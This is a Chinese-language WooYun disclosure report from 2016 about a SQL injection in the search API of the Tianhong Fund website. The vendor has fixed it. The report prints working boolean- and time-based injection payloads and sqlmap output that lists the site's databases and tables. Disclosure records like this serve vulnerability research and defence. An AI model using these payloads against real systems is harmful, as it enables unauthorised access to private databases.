天弘基金主站存在MySql注入

编号221041
Urlhttp://www.wooyun.org/bug.php?action=view&id=221041
漏洞状态厂商已经修复
漏洞标题天弘基金主站存在MySql注入
漏洞类型SQL注射漏洞
厂商天弘基金管理有限公司
白帽子丶n
提交日期2016-06-20 09:04:00
公开日期2016-06-21 10:23:00
修复时间2016-06-21 10:23:00
确认时间2016-06-21 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank12
漏洞简介
rt 给个高分吧.
漏洞细节

http://www.thfund.com.cn/
天弘基金主站
http://www.thfund.com.cn//thfund/fundlist/search/api/?word=e
word参数存在注入

GET parameter 'word' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection point(s) with a total of 277 HTTP(s) r
equests:
---
Parameter: word (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: word=e%' AND 4468=4468 AND '%'='
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
Payload: word=e%' AND (SELECT * FROM (SELECT(SLEEP(5)))scvx) AND '%'='
---
[08:07:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.20
back-end DBMS: MySQL 5.0.12


current user:    '[email protected]\x1f\x08'


POC

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] thweb


[08:18:46] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.20
back-end DBMS: MySQL 5.0.12
[08:18:46] [INFO] fetching tables for database: 'thweb'
[08:18:46] [INFO] fetching number of tables for database 'thweb'
[08:18:46] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[08:18:46] [INFO] retrieved: 284
[08:18:54] [INFO] retrieved: a_content_body
[08:20:04] [INFO] retrieved: a_content_category
[08:20:54] [INFO] retrieved: a_w_content
[08:21:46] [INFO] retrieved: a_w_content_1
[08:22:07] [INFO] retrieved: aa_channel_category
[08:23:29] [INFO] retrieved: aa_fundday
[08:24:13] [INFO] retrieved: accesslog
[08:25:00] [INFO] retrieved: actions
[08:25:27] [INFO] retrieved: aliyunoss_file
[08:26:35] [INFO] retrieved: authmap
[08:27:07] [INFO] retrieved: batch
[08:27:36] [INFO] retrieved: b


表太多了 ,就不跑了 仅证明危害

修复方案

参数过滤

状态信息 2016-06-20: 细节已通知厂商并且等待厂商处理中
2016-06-21: 厂商已经确认,细节仅向厂商公开
2016-06-21: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复谢谢您的提醒,我们会重视并解决
回应信息危害等级:高漏洞Rank:12 确认时间:2016-06-21 10:10